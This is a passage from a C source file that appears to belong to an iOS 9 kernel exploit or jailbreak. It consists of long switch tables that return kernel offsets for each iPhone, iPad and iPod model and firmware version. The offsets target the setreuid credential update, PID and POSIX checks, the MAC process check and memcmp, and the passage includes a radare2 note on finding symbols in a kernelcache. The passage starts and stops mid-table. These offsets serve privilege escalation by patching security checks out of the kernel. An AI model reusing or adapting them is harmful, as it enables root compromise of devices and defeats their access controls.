0x2a9e24;2148case iPhone53_iOS921: return 0x2a9f34;2149case iPhone53_iOS930: return 0x2af658;2150case iPhone53_iOS931: return 0x2af658;2151case iPhone53_iOS932: return 0x2af5f8;2152case iPhone53_iOS933: return 0x2af7b8;2153case iPhone53_iOS934: return 0x2af7b8;2154case iPhone54_iOS910: return 0x2b00f0;2155case iPhone54_iOS920: return 0x2a9e24;2156case iPhone54_iOS921: return 0x2a9f34;2157case iPhone54_iOS930: return 0x2af658;2158case iPhone54_iOS931: return 0x2af658;2159case iPhone54_iOS932: return 0x2af5f8;2160case iPhone54_iOS933: return 0x2af7b8;2161case iPhone54_iOS934: return 0x2af7b8;2162case iPad21_iOS910: return 0x2aa31c;2163case iPad21_iOS920: return 0x2a3ab4;2164case iPad21_iOS921: return 0x2a3bc4;2165case iPad21_iOS930: return 0x2a977c;2166case iPad21_iOS931: return 0x2a977c;2167case iPad21_iOS932: return 0x2a985c;2168case iPad21_iOS933: return 0x2a9988;2169case iPad21_iOS934: return 0x2a9988;2170case iPad22_iOS910: return 0x2aa31c;2171case iPad22_iOS920: return 0x2a3ab4;2172case iPad22_iOS921: return 0x2a3bc4;2173case iPad22_iOS930: return 0x2a977c;2174case iPad22_iOS931: return 0x2a977c;2175case iPad22_iOS932: return 0x2a985c;2176case iPad22_iOS933: return 0x2a9988;2177case iPad22_iOS934: return 0x2a9988;2178case iPad23_iOS910: return 0x2aa31c;2179case iPad23_iOS920: return 0x2a3ab4;2180case iPad23_iOS921: return 0x2a3bc4;2181case iPad23_iOS930: return 0x2a977c;2182case iPad23_iOS931: return 0x2a977c;2183case iPad23_iOS932: return 0x2a985c;2184case iPad23_iOS933: return 0x2a9988;2185case iPad23_iOS934: return 0x2a9988;2186case iPad24_iOS910: return 0x2aa31c;2187case iPad24_iOS920: return 0x2a3ab4;2188case iPad24_iOS921: return 0x2a3bc4;2189case iPad24_iOS930: return 0x2a977c;2190case iPad24_iOS931: return 0x2a977c;2191case iPad24_iOS932: return 0x2a985c;2192case iPad24_iOS933: return 0x2a9988;2193case iPad24_iOS934: return 0x2a9988;2194case iPad25_iOS902: return 0x2a9754;2195case iPad31_iOS910: return 0x2aa31c;2196case iPad31_iOS920: return 0x2a3ab4;2197case iPad31_iOS921: return 0x2a3bc4;2198case iPad31_iOS930: return 0x2a977c;2199case iPad31_iOS931: return 0x2a977c;2200case iPad31_iOS932: return 0x2a985c;2201case iPad31_iOS933: return 0x2a9988;2202case iPad31_iOS934: return 0x2a9988;2203case iPad32_iOS910: return 0x2aa31c;2204case iPad32_iOS920: return 0x2a3ab4;2205case iPad32_iOS921: return 0x2a3bc4;2206case iPad32_iOS930: return 0x2a977c;2207case iPad32_iOS931: return 0x2a977c;2208case iPad32_iOS932: return 0x2a985c;2209case iPad32_iOS933: return 0x2a9988;2210case iPad32_iOS934: return 0x2a9988;2211case iPad33_iOS902: return 0x2a9754;2212case iPad33_iOS910: return 0x2aa31c;2213case iPad33_iOS920: return 0x2a3ab4;2214case iPad33_iOS921: return 0x2a3bc4;2215case iPad33_iOS930: return 0x2a977c;2216case iPad33_iOS931: return 0x2a977c;2217case iPad33_iOS932: return 0x2a985c;2218case iPad33_iOS933: return 0x2a9988;2219case iPad33_iOS934: return 0x2a9988;2220case iPad34_iOS910: return 0x2b00f0;2221case iPad34_iOS920: return 0x2a9e24;2222case iPad34_iOS921: return 0x2a9f34;2223case iPad34_iOS930: return 0x2af658;2224case iPad34_iOS931: return 0x2af658;2225case iPad34_iOS932: return 0x2af5f8;2226case iPad34_iOS933: return 0x2af7b8;2227case iPad34_iOS934: return 0x2af7b8;2228case iPad35_iOS910: return 0x2b00f0;2229case iPad35_iOS920: return 0x2a9e24;2230case iPad35_iOS921: return 0x2a9f34;2231case iPad35_iOS930: return 0x2af658;2232case iPad35_iOS931: return 0x2af658;2233case iPad35_iOS932: return 0x2af5f8;2234case iPad35_iOS933: return 0x2af7b8;2235case iPad35_iOS934: return 0x2af7b8;2236case iPad36_iOS910: return 0x2b00f0;2237case iPad36_iOS920: return 0x2a9e24;2238case iPad36_iOS921: return 0x2a9f34;2239case iPad36_iOS930: return 0x2af658;2240case iPad36_iOS931: return 0x2af658;2241case iPad36_iOS932: return 0x2af5f8;2242case iPad36_iOS933: return 0x2af7b8;2243case iPad36_iOS934: return 0x2af7b8;2244case iPod51_iOS910: return 0x2aa31c;2245case iPod51_iOS920: return 0x2a3ab4;2246case iPod51_iOS921: return 0x2a3bc4;2247case iPod51_iOS930: return 0x2a977c;2248case iPod51_iOS931: return 0x2a977c;2249case iPod51_iOS932: return 0x2a985c;2250case iPod51_iOS933: return 0x2a9988;2251case iPod51_iOS934: return 0x2a9988;2252default: return 0;2253}2254}22552256static inline unsigned int find_setreuid_cred_update(void) {2257switch (target_environment) {2258case iPhone41_iOS902: return 0xe040;2259case iPhone41_iOS910: return 0xe031;2260case iPhone41_iOS920: return 0xe031;2261case iPhone41_iOS921: return 0xe031;2262case iPhone41_iOS930: return 0xe031;2263case iPhone41_iOS931: return 0xe031;2264case iPhone41_iOS932: return 0xe031;2265case iPhone41_iOS933: return 0xe031;2266case iPhone41_iOS934: return 0xe031;2267case iPhone51_iOS910: return 0xe031;2268case iPhone51_iOS920: return 0xe031;2269case iPhone51_iOS921: return 0xe031;2270case iPhone51_iOS930: return 0xe031;2271case iPhone51_iOS931: return 0xe031;2272case iPhone51_iOS932: return 0xe031;2273case iPhone51_iOS933: return 0xe031;2274case iPhone51_iOS934: return 0xe031;2275case iPhone52_iOS902: return 0xe042;2276case iPhone52_iOS910: return 0xe031;2277case iPhone52_iOS920: return 0xe031;2278case iPhone52_iOS921: return 0xe031;2279case iPhone52_iOS930: return 0xe031;2280case iPhone52_iOS931: return 0xe031;2281case iPhone52_iOS932: return 0xe031;2282case iPhone52_iOS933: return 0xe031;2283case iPhone52_iOS934: return 0xe031;2284case iPhone53_iOS910: return 0xe031;2285case iPhone53_iOS920: return 0xe031;2286case iPhone53_iOS921: return 0xe031;2287case iPhone53_iOS930: return 0xe031;2288case iPhone53_iOS931: return 0xe031;2289case iPhone53_iOS932: return 0xe031;2290case iPhone53_iOS933: return 0xe031;2291case iPhone53_iOS934: return 0xe031;2292case iPhone54_iOS910: return 0xe031;2293case iPhone54_iOS920: return 0xe031;2294case iPhone54_iOS921: return 0xe031;2295case iPhone54_iOS930: return 0xe031;2296case iPhone54_iOS931: return 0xe031;2297case iPhone54_iOS932: return 0xe031;2298case iPhone54_iOS933: return 0xe031;2299case iPhone54_iOS934: return 0xe031;2300case iPad21_iOS910: return 0xe031;2301case iPad21_iOS920: return 0xe031;2302case iPad21_iOS921: return 0xe031;2303case iPad21_iOS930: return 0xe031;2304case iPad21_iOS931: return 0xe031;2305case iPad21_iOS932: return 0xe031;2306case iPad21_iOS933: return 0xe031;2307case iPad21_iOS934: return 0xe031;2308case iPad22_iOS910: return 0xe031;2309case iPad22_iOS920: return 0xe031;2310case iPad22_iOS921: return 0xe031;2311case iPad22_iOS930: return 0xe031;2312case iPad22_iOS931: return 0xe031;2313case iPad22_iOS932: return 0xe031;2314case iPad22_iOS933: return 0xe031;2315case iPad22_iOS934: return 0xe031;2316case iPad23_iOS910: return 0xe031;2317case iPad23_iOS920: return 0xe031;2318case iPad23_iOS921: return 0xe031;2319case iPad23_iOS930: return 0xe031;2320case iPad23_iOS931: return 0xe031;2321case iPad23_iOS932: return 0xe031;2322case iPad23_iOS933: return 0xe031;2323case iPad23_iOS934: return 0xe031;2324case iPad24_iOS910: return 0xe031;2325case iPad24_iOS920: return 0xe031;2326case iPad24_iOS921: return 0xe031;2327case iPad24_iOS930: return 0xe031;2328case iPad24_iOS931: return 0xe031;2329case iPad24_iOS932: return 0xe031;2330case iPad24_iOS933: return 0xe031;2331case iPad24_iOS934: return 0xe031;2332case iPad25_iOS902: return 0xe031;2333case iPad31_iOS910: return 0xe031;2334case iPad31_iOS920: return 0xe031;2335case iPad31_iOS921: return 0xe031;2336case iPad31_iOS930: return 0xe031;2337case iPad31_iOS931: return 0xe031;2338case iPad31_iOS932: return 0xe031;2339case iPad31_iOS933: return 0xe031;2340case iPad31_iOS934: return 0xe031;2341case iPad32_iOS910: return 0xe031;2342case iPad32_iOS920: return 0xe031;2343case iPad32_iOS921: return 0xe031;2344case iPad32_iOS930: return 0xe031;2345case iPad32_iOS931: return 0xe031;2346case iPad32_iOS932: return 0xe031;2347case iPad32_iOS933: return 0xe031;2348case iPad32_iOS934: return 0xe031;2349case iPad33_iOS902: return 0xe031;2350case iPad33_iOS910: return 0xe031;2351case iPad33_iOS920: return 0xe031;2352case iPad33_iOS921: return 0xe031;2353case iPad33_iOS930: return 0xe031;2354case iPad33_iOS931: return 0xe031;2355case iPad33_iOS932: return 0xe031;2356case iPad33_iOS933: return 0xe031;2357case iPad33_iOS934: return 0xe031;2358case iPad34_iOS910: return 0xe031;2359case iPad34_iOS920: return 0xe031;2360case iPad34_iOS921: return 0xe031;2361case iPad34_iOS930: return 0xe031;2362case iPad34_iOS931: return 0xe031;2363case iPad34_iOS932: return 0xe031;2364case iPad34_iOS933: return 0xe031;2365case iPad34_iOS934: return 0xe031;2366case iPad35_iOS910: return 0xe031;2367case iPad35_iOS920: return 0xe031;2368case iPad35_iOS921: return 0xe031;2369case iPad35_iOS930: return 0xe031;2370case iPad35_iOS931: return 0xe031;2371case iPad35_iOS932: return 0xe031;2372case iPad35_iOS933: return 0xe031;2373case iPad35_iOS934: return 0xe031;2374case iPad36_iOS910: return 0xe031;2375case iPad36_iOS920: return 0xe031;2376case iPad36_iOS921: return 0xe031;2377case iPad36_iOS930: return 0xe031;2378case iPad36_iOS931: return 0xe031;2379case iPad36_iOS932: return 0xe031;2380case iPad36_iOS933: return 0xe031;2381case iPad36_iOS934: return 0xe031;2382case iPod51_iOS910: return 0xe03e;2383case iPod51_iOS920: return 0xe031;2384case iPod51_iOS921: return 0xe031;2385case iPod51_iOS930: return 0xe031;2386case iPod51_iOS931: return 0xe031;2387case iPod51_iOS932: return 0xe031;2388case iPod51_iOS933: return 0xe031;2389case iPod51_iOS934: return 0xe031;2390default: return 0;2391}2392}23932394static inline unsigned int find_pid_check(void) {2395switch (target_environment) {2396case iPhone41_iOS902: return 0x16;2397case iPhone41_iOS910: return 0x14;2398case iPhone41_iOS920: return 0x14;2399case iPhone41_iOS921: return 0x14;2400case iPhone41_iOS930: return 0x14;2401case iPhone41_iOS931: return 0x14;2402case iPhone41_iOS932: return 0x14;2403case iPhone41_iOS933: return 0x14;2404case iPhone41_iOS934: return 0x14;2405case iPhone51_iOS910: return 0x16;2406case iPhone51_iOS920: return 0x16;2407case iPhone51_iOS921: return 0x16;2408case iPhone51_iOS930: return 0x16;2409case iPhone51_iOS931: return 0x16;2410case iPhone51_iOS932: return 0x16;2411case iPhone51_iOS933: return 0x16;2412case iPhone51_iOS934: return 0x16;2413case iPhone52_iOS902: return 0x18;2414case iPhone52_iOS910: return 0x16;2415case iPhone52_iOS920: return 0x16;2416case iPhone52_iOS921: return 0x16;2417case iPhone52_iOS930: return 0x16;2418case iPhone52_iOS931: return 0x16;2419case iPhone52_iOS932: return 0x16;2420case iPhone52_iOS933: return 0x16;2421case iPhone52_iOS934: return 0x16;2422case iPhone53_iOS910: return 0x16;2423case iPhone53_iOS920: return 0x16;2424case iPhone53_iOS921: return 0x16;2425case iPhone53_iOS930: return 0x16;2426case iPhone53_iOS931: return 0x16;2427case iPhone53_iOS932: return 0x16;2428case iPhone53_iOS933: return 0x16;2429case iPhone53_iOS934: return 0x16;2430case iPhone54_iOS910: return 0x16;2431case iPhone54_iOS920: return 0x16;2432case iPhone54_iOS921: return 0x16;2433case iPhone54_iOS930: return 0x16;2434case iPhone54_iOS931: return 0x16;2435case iPhone54_iOS932: return 0x16;2436case iPhone54_iOS933: return 0x16;2437case iPhone54_iOS934: return 0x16;2438case iPad21_iOS910: return 0x16;2439case iPad21_iOS920: return 0x14;2440case iPad21_iOS921: return 0x14;2441case iPad21_iOS930: return 0x14;2442case iPad21_iOS931: return 0x14;2443case iPad21_iOS932: return 0x14;2444case iPad21_iOS933: return 0x14;2445case iPad21_iOS934: return 0x14;2446case iPad22_iOS910: return 0x16;2447case iPad22_iOS920: return 0x14;2448case iPad22_iOS921: return 0x14;2449case iPad22_iOS930: return 0x14;2450case iPad22_iOS931: return 0x14;2451case iPad22_iOS932: return 0x14;2452case iPad22_iOS933: return 0x14;2453case iPad22_iOS934: return 0x14;2454case iPad23_iOS910: return 0x16;2455case iPad23_iOS920: return 0x14;2456case iPad23_iOS921: return 0x14;2457case iPad23_iOS930: return 0x14;2458case iPad23_iOS931: return 0x14;2459case iPad23_iOS932: return 0x14;2460case iPad23_iOS933: return 0x14;2461case iPad23_iOS934: return 0x14;2462case iPad24_iOS910: return 0x16;2463case iPad24_iOS920: return 0x14;2464case iPad24_iOS921: return 0x14;2465case iPad24_iOS930: return 0x14;2466case iPad24_iOS931: return 0x14;2467case iPad24_iOS932: return 0x14;2468case iPad24_iOS933: return 0x14;2469case iPad24_iOS934: return 0x14;2470case iPad25_iOS902: return 0x16;2471case iPad31_iOS910: return 0x16;2472case iPad31_iOS920: return 0x14;2473case iPad31_iOS921: return 0x14;2474case iPad31_iOS930: return 0x14;2475case iPad31_iOS931: return 0x14;2476case iPad31_iOS932: return 0x14;2477case iPad31_iOS933: return 0x14;2478case iPad31_iOS934: return 0x14;2479case iPad32_iOS910: return 0x16;2480case iPad32_iOS920: return 0x14;2481case iPad32_iOS921: return 0x14;2482case iPad32_iOS930: return 0x14;2483case iPad32_iOS931: return 0x14;2484case iPad32_iOS932: return 0x14;2485case iPad32_iOS933: return 0x14;2486case iPad32_iOS934: return 0x14;2487case iPad33_iOS902: return 0x16;2488case iPad33_iOS910: return 0x16;2489case iPad33_iOS920: return 0x14;2490case iPad33_iOS921: return 0x14;2491case iPad33_iOS930: return 0x14;2492case iPad33_iOS931: return 0x14;2493case iPad33_iOS932: return 0x14;2494case iPad33_iOS933: return 0x14;2495case iPad33_iOS934: return 0x14;2496case iPad34_iOS910: return 0x16;2497case iPad34_iOS920: return 0x14;2498case iPad34_iOS921: return 0x14;2499case iPad34_iOS930: return 0x14;2500case iPad34_iOS931: return 0x14;2501case iPad34_iOS932: return 0x14;2502case iPad34_iOS933: return 0x14;2503case iPad34_iOS934: return 0x14;2504case iPad35_iOS910: return 0x16;2505case iPad35_iOS920: return 0x14;2506case iPad35_iOS921: return 0x14;2507case iPad35_iOS930: return 0x14;2508case iPad35_iOS931: return 0x14;2509case iPad35_iOS932: return 0x14;2510case iPad35_iOS933: return 0x14;2511case iPad35_iOS934: return 0x14;2512case iPad36_iOS910: return 0x16;2513case iPad36_iOS920: return 0x14;2514case iPad36_iOS921: return 0x14;2515case iPad36_iOS930: return 0x14;2516case iPad36_iOS931: return 0x14;2517case iPad36_iOS932: return 0x14;2518case iPad36_iOS933: return 0x14;2519case iPad36_iOS934: return 0x14;2520case iPod51_iOS910: return 0x16;2521case iPod51_iOS920: return 0x14;2522case iPod51_iOS921: return 0x14;2523case iPod51_iOS930: return 0x14;2524case iPod51_iOS931: return 0x14;2525case iPod51_iOS932: return 0x14;2526case iPod51_iOS933: return 0x14;2527case iPod51_iOS934: return 0x14;2528default: return 0;2529}2530}25312532static inline unsigned int find_posix_check(void) {2533switch (target_environment) {2534case iPhone41_iOS902: return 0x40;2535case iPhone41_iOS910: return 0x3e;2536case iPhone41_iOS920: return 0x3e;2537case iPhone41_iOS921: return 0x3e;2538case iPhone41_iOS930: return 0x3e;2539case iPhone41_iOS931: return 0x3e;2540case iPhone41_iOS932: return 0x3e;2541case iPhone41_iOS933: return 0x3e;2542case iPhone41_iOS934: return 0x3e;2543case iPhone51_iOS910: return 0x3e;2544case iPhone51_iOS920: return 0x3e;2545case iPhone51_iOS921: return 0x3e;2546case iPhone51_iOS930: return 0x3e;2547case iPhone51_iOS931: return 0x3e;2548case iPhone51_iOS932: return 0x3e;2549case iPhone51_iOS933: return 0x3e;2550case iPhone51_iOS934: return 0x3e;2551case iPhone52_iOS902: return 0x40;2552case iPhone52_iOS910: return 0x3e;2553case iPhone52_iOS920: return 0x3e;2554case iPhone52_iOS921: return 0x3e;2555case iPhone52_iOS930: return 0x3e;2556case iPhone52_iOS931: return 0x3e;2557case iPhone52_iOS932: return 0x3e;2558case iPhone52_iOS933: return 0x3e;2559case iPhone52_iOS934: return 0x3e;2560case iPhone53_iOS910: return 0x3e;2561case iPhone53_iOS920: return 0x3e;2562case iPhone53_iOS921: return 0x3e;2563case iPhone53_iOS930: return 0x3e;2564case iPhone53_iOS931: return 0x3e;2565case iPhone53_iOS932: return 0x3e;2566case iPhone53_iOS933: return 0x3e;2567case iPhone53_iOS934: return 0x3e;2568case iPhone54_iOS910: return 0x3e;2569case iPhone54_iOS920: return 0x3e;2570case iPhone54_iOS921: return 0x3e;2571case iPhone54_iOS930: return 0x3e;2572case iPhone54_iOS931: return 0x3e;2573case iPhone54_iOS932: return 0x3e;2574case iPhone54_iOS933: return 0x3e;2575case iPhone54_iOS934: return 0x3e;2576case iPad21_iOS910: return 0x40;2577case iPad21_iOS920: return 0x3e;2578case iPad21_iOS921: return 0x3e;2579case iPad21_iOS930: return 0x3e;2580case iPad21_iOS931: return 0x3e;2581case iPad21_iOS932: return 0x3e;2582case iPad21_iOS933: return 0x3e;2583case iPad21_iOS934: return 0x3e;2584case iPad22_iOS910: return 0x40;2585case iPad22_iOS920: return 0x3e;2586case iPad22_iOS921: return 0x3e;2587case iPad22_iOS930: return 0x3e;2588case iPad22_iOS931: return 0x3e;2589case iPad22_iOS932: return 0x3e;2590case iPad22_iOS933: return 0x3e;2591case iPad22_iOS934: return 0x3e;2592case iPad23_iOS910: return 0x40;2593case iPad23_iOS920: return 0x3e;2594case iPad23_iOS921: return 0x3e;2595case iPad23_iOS930: return 0x3e;2596case iPad23_iOS931: return 0x3e;2597case iPad23_iOS932: return 0x3e;2598case iPad23_iOS933: return 0x3e;2599case iPad23_iOS934: return 0x3e;2600case iPad24_iOS910: return 0x40;2601case iPad24_iOS920: return 0x3e;2602case iPad24_iOS921: return 0x3e;2603case iPad24_iOS930: return 0x3e;2604case iPad24_iOS931: return 0x3e;2605case iPad24_iOS932: return 0x3e;2606case iPad24_iOS933: return 0x3e;2607case iPad24_iOS934: return 0x3e;2608case iPad25_iOS902: return 0x40;2609case iPad31_iOS910: return 0x40;2610case iPad31_iOS920: return 0x3e;2611case iPad31_iOS921: return 0x3e;2612case iPad31_iOS930: return 0x3e;2613case iPad31_iOS931: return 0x3e;2614case iPad31_iOS932: return 0x3e;2615case iPad31_iOS933: return 0x3e;2616case iPad31_iOS934: return 0x3e;2617case iPad32_iOS910: return 0x40;2618case iPad32_iOS920: return 0x3e;2619case iPad32_iOS921: return 0x3e;2620case iPad32_iOS930: return 0x3e;2621case iPad32_iOS931: return 0x3e;2622case iPad32_iOS932: return 0x3e;2623case iPad32_iOS933: return 0x3e;2624case iPad32_iOS934: return 0x3e;2625case iPad33_iOS902: return 0x40;2626case iPad33_iOS910: return 0x40;2627case iPad33_iOS920: return 0x3e;2628case iPad33_iOS921: return 0x3e;2629case iPad33_iOS930: return 0x3e;2630case iPad33_iOS931: return 0x3e;2631case iPad33_iOS932: return 0x3e;2632case iPad33_iOS933: return 0x3e;2633case iPad33_iOS934: return 0x3e;2634case iPad34_iOS910: return 0x40;2635case iPad34_iOS920: return 0x3e;2636case iPad34_iOS921: return 0x3e;2637case iPad34_iOS930: return 0x3e;2638case iPad34_iOS931: return 0x3e;2639case iPad34_iOS932: return 0x3e;2640case iPad34_iOS933: return 0x3e;2641case iPad34_iOS934: return 0x3e;2642case iPad35_iOS910: return 0x40;2643case iPad35_iOS920: return 0x3e;2644case iPad35_iOS921: return 0x3e;2645case iPad35_iOS930: return 0x3e;2646case iPad35_iOS931: return 0x3e;2647case iPad35_iOS932: return 0x3e;2648case iPad35_iOS933: return 0x3e;2649case iPad35_iOS934: return 0x3e;2650case iPad36_iOS910: return 0x40;2651case iPad36_iOS920: return 0x3e;2652case iPad36_iOS921: return 0x3e;2653case iPad36_iOS930: return 0x3e;2654case iPad36_iOS931: return 0x3e;2655case iPad36_iOS932: return 0x3e;2656case iPad36_iOS933: return 0x3e;2657case iPad36_iOS934: return 0x3e;2658case iPod51_iOS910: return 0x40;2659case iPod51_iOS920: return 0x3e;2660case iPod51_iOS921: return 0x3e;2661case iPod51_iOS930: return 0x3e;2662case iPod51_iOS931: return 0x3e;2663case iPod51_iOS932: return 0x3e;2664case iPod51_iOS933: return 0x3e;2665case iPod51_iOS934: return 0x3e;2666default: return 0;2667}2668}26692670static inline unsigned int find_mac_proc_check(void) {2671switch (target_environment) {2672case iPhone41_iOS902: return 0x224;2673case iPhone41_iOS910: return 0x224;2674case iPhone41_iOS920: return 0x1e6;2675case iPhone41_iOS921: return 0x1e6;2676case iPhone41_iOS930: return 0x1e6;2677case iPhone41_iOS931: return 0x1e6;2678case iPhone41_iOS932: return 0x1e6;2679case iPhone41_iOS933: return 0x1e6;2680case iPhone41_iOS934: return 0x1e6;2681case iPhone51_iOS910: return 0x1e6;2682case iPhone51_iOS920: return 0x1e6;2683case iPhone51_iOS921: return 0x1e6;2684case iPhone51_iOS930: return 0x1e6;2685case iPhone51_iOS931: return 0x1e6;2686case iPhone51_iOS932: return 0x1e6;2687case iPhone51_iOS933: return 0x1e6;2688case iPhone51_iOS934: return 0x1e6;2689case iPhone52_iOS902: return 0x224;2690case iPhone52_iOS910: return 0x1e6;2691case iPhone52_iOS920: return 0x1e6;2692case iPhone52_iOS921: return 0x1e6;2693case iPhone52_iOS930: return 0x1e6;2694case iPhone52_iOS931: return 0x1e6;2695case iPhone52_iOS932: return 0x1e6;2696case iPhone52_iOS933: return 0x1e6;2697case iPhone52_iOS934: return 0x1e6;2698case iPhone53_iOS910: return 0x1e6;2699case iPhone53_iOS920: return 0x1e6;2700case iPhone53_iOS921: return 0x1e6;2701case iPhone53_iOS930: return 0x1e6;2702case iPhone53_iOS931: return 0x1e6;2703case iPhone53_iOS932: return 0x1e6;2704case iPhone53_iOS933: return 0x1e6;2705case iPhone53_iOS934: return 0x1e6;2706case iPhone54_iOS910: return 0x1e6;2707case iPhone54_iOS920: return 0x1e6;2708case iPhone54_iOS921: return 0x1e6;2709case iPhone54_iOS930: return 0x1e6;2710case iPhone54_iOS931: return 0x1e6;2711case iPhone54_iOS932: return 0x1e6;2712case iPhone54_iOS933: return 0x1e6;2713case iPhone54_iOS934: return 0x1e6;2714case iPad21_iOS910: return 0x224;2715case iPad21_iOS920: return 0x1e6;2716case iPad21_iOS921: return 0x1e6;2717case iPad21_iOS930: return 0x1e6;2718case iPad21_iOS931: return 0x1e6;2719case iPad21_iOS932: return 0x1e6;2720case iPad21_iOS933: return 0x1e6;2721case iPad21_iOS934: return 0x1e6;2722case iPad22_iOS910: return 0x224;2723case iPad22_iOS920: return 0x1e6;2724case iPad22_iOS921: return 0x1e6;2725case iPad22_iOS930: return 0x1e6;2726case iPad22_iOS931: return 0x1e6;2727case iPad22_iOS932: return 0x1e6;2728case iPad22_iOS933: return 0x1e6;2729case iPad22_iOS934: return 0x1e6;2730case iPad23_iOS910: return 0x224;2731case iPad23_iOS920: return 0x1e6;2732case iPad23_iOS921: return 0x1e6;2733case iPad23_iOS930: return 0x1e6;2734case iPad23_iOS931: return 0x1e6;2735case iPad23_iOS932: return 0x1e6;2736case iPad23_iOS933: return 0x1e6;2737case iPad23_iOS934: return 0x1e6;2738case iPad24_iOS910: return 0x224;2739case iPad24_iOS920: return 0x1e6;2740case iPad24_iOS921: return 0x1e6;2741case iPad24_iOS930: return 0x1e6;2742case iPad24_iOS931: return 0x1e6;2743case iPad24_iOS932: return 0x1e6;2744case iPad24_iOS933: return 0x1e6;2745case iPad24_iOS934: return 0x1e6;2746case iPad25_iOS902: return 0x224;2747case iPad31_iOS910: return 0x224;2748case iPad31_iOS920: return 0x1e6;2749case iPad31_iOS921: return 0x1e6;2750case iPad31_iOS930: return 0x1e6;2751case iPad31_iOS931: return 0x1e6;2752case iPad31_iOS932: return 0x1e6;2753case iPad31_iOS933: return 0x1e6;2754case iPad31_iOS934: return 0x1e6;2755case iPad32_iOS910: return 0x224;2756case iPad32_iOS920: return 0x1e6;2757case iPad32_iOS921: return 0x1e6;2758case iPad32_iOS930: return 0x1e6;2759case iPad32_iOS931: return 0x1e6;2760case iPad32_iOS932: return 0x1e6;2761case iPad32_iOS933: return 0x1e6;2762case iPad32_iOS934: return 0x1e6;2763case iPad33_iOS902: return 0x224;2764case iPad33_iOS910: return 0x224;2765case iPad33_iOS920: return 0x1e6;2766case iPad33_iOS921: return 0x1e6;2767case iPad33_iOS930: return 0x1e6;2768case iPad33_iOS931: return 0x1e6;2769case iPad33_iOS932: return 0x1e6;2770case iPad33_iOS933: return 0x1e6;2771case iPad33_iOS934: return 0x1e6;2772case iPad34_iOS910: return 0x224;2773case iPad34_iOS920: return 0x1e6;2774case iPad34_iOS921: return 0x1e6;2775case iPad34_iOS930: return 0x1e6;2776case iPad34_iOS931: return 0x1e6;2777case iPad34_iOS932: return 0x1e6;2778case iPad34_iOS933: return 0x1e6;2779case iPad34_iOS934: return 0x1e6;2780case iPad35_iOS910: return 0x224;2781case iPad35_iOS920: return 0x1e6;2782case iPad35_iOS921: return 0x1e6;2783case iPad35_iOS930: return 0x1e6;2784case iPad35_iOS931: return 0x1e6;2785case iPad35_iOS932: return 0x1e6;2786case iPad35_iOS933: return 0x1e6;2787case iPad35_iOS934: return 0x1e6;2788case iPad36_iOS910: return 0x224;2789case iPad36_iOS920: return 0x1e6;2790case iPad36_iOS921: return 0x1e6;2791case iPad36_iOS930: return 0x1e6;2792case iPad36_iOS931: return 0x1e6;2793case iPad36_iOS932: return 0x1e6;2794case iPad36_iOS933: return 0x1e6;2795case iPad36_iOS934: return 0x1e6;2796case iPod51_iOS910: return 0x224;2797case iPod51_iOS920: return 0x1e6;2798case iPod51_iOS921: return 0x1e6;2799case iPod51_iOS930: return 0x1e6;2800case iPod51_iOS931: return 0x1e6;2801case iPod51_iOS932: return 0x1e6;2802case iPod51_iOS933: return 0x1e6;2803case iPod51_iOS934: return 0x1e6;2804default: return 0;2805}2806}28072808/*r2 -q kcache/kernelcache.bin -c "is" | grep memcmp*/2809/*3588 0x000c3c80 0x800c4c80 GLOBAL FUNC 0 _memcmp*/2810static inline unsigned int find_memcmp(void) {2811switch (target_environment) {2812case iPhone41_iOS934: return 0x000c085c;2813case iPhone41_iOS933: return 0x000c085c;2814case iPhone41_iOS932: return 0x000c08ec;2815case iPhone41_iOS930: return 0x000c08dc;2816case iPhone41_iOS921: return 0x000bfd7c;2817case iPhone41_iOS920: return 0x000bfd2c;2818case iPhone41_iOS910: return 0x000c1340;2819case iPhone41_iOS902: return 0x000c11d0;2820case iPhone51_iOS934: return 0x000c3e10;2821case iPhone51_iOS933: return 0x000c3e10;2822case iPhone51_iOS932: return 0x000c3c80;2823case iPhone51_iOS930: return 0x000c3c90;2824case iPhone51_iOS921: return 0x000c2ff0;2825case iPhone51_iOS920: return 0x000c2fb0;2826case iPhone51_iOS910: return 0x000c42c4;2827/*case iPhone51_iOS902: return 0x000c4124;*/2828case iPhone52_iOS934: return 0x000c3e10;2829case iPhone52_iOS933: return 0x000c3e10;2830case iPhone52_iOS932: return 0x000c3c80;2831case iPhone52_iOS930: return 0x000c3c90;2832case iPhone52_iOS921: return 0x000c2ff0;2833case iPhone52_iOS920: return 0x000c2fb0;2834case iPhone52_iOS910: return 0x000c42c4;2835case iPhone52_iOS902: return 0x000c4124;2836case iPhone53_iOS934: return 0x000c3e10;2837case iPhone53_iOS933: return 0x000c3e10;2838case iPhone53_iOS932: return 0x000c3c80;2839case iPhone53_iOS930: return 0x000c3c90;2840case iPhone53_iOS921: return 0x000c2ff0;2841case iPhone53_iOS920: return 0x000c2fb0;2842case iPhone53_iOS910: return 0x000c42c4;2843/*case iPhone53_iOS902: return 0x000c4124;*/2844case iPhone54_iOS934: return 0x000c3e10;2845case iPhone54_iOS933: return 0x000c3e10;2846case iPhone54_iOS932: return 0x000c3c80;2847case iPhone54_iOS930: return 0x000c3c90;2848case iPhone54_iOS921: return 0x000c2ff0;2849case iPhone54_iOS920: return 0x000c2fb0;2850case iPhone54_iOS910: return 0x000c42c4;2851/*case iPhone54_iOS902: return 0x000c4124;*/2852case iPad21_iOS934: return 0x000c085c;2853case iPad21_iOS933: return 0x000c085c;2854case iPad21_iOS932: return 0x000c08ec;2855case iPad21_iOS930: return 0x000c08dc;2856case iPad21_iOS921: return 0x000bfd7c;2857case iPad21_iOS920: return 0x000bfd2c;2858case iPad21_iOS910: return 0x000c1340;2859/*case iPad21_iOS902: return 0x000c11d0;*/2860case iPad22_iOS934: return 0x000c085c;2861case iPad22_iOS933: return 0x000c085c;2862case iPad22_iOS932: return 0x000c08ec;2863case iPad22_iOS930: return 0x000c08dc;2864case iPad22_iOS921: return 0x000bfd7c;2865case iPad22_iOS920: return 0x000bfd2c;2866case iPad22_iOS910: return 0x000c1340;2867/*case iPad22_iOS902: return 0x000c11d0;*/2868case iPad23_iOS934: return 0x000c085c;2869case iPad23_iOS933: return 0x000c085c;2870case iPad23_iOS932: return 0x000c08ec;2871case iPad23_iOS930: return 0x000c08dc;2872case iPad23_iOS921: return 0x000bfd7c;2873case iPad23_iOS920: return 0x000bfd2c;2874case iPad23_iOS910: return 0x000c1340;2875/*case iPad23_iOS902: return 0x000c11d0;*/2876case iPad24_iOS934: return 0x000c085c;2877case iPad24_iOS933: return 0x000c085c;2878case iPad24_iOS932: return 0x000c08ec;2879case iPad24_iOS930: return 0x000c08dc;2880case 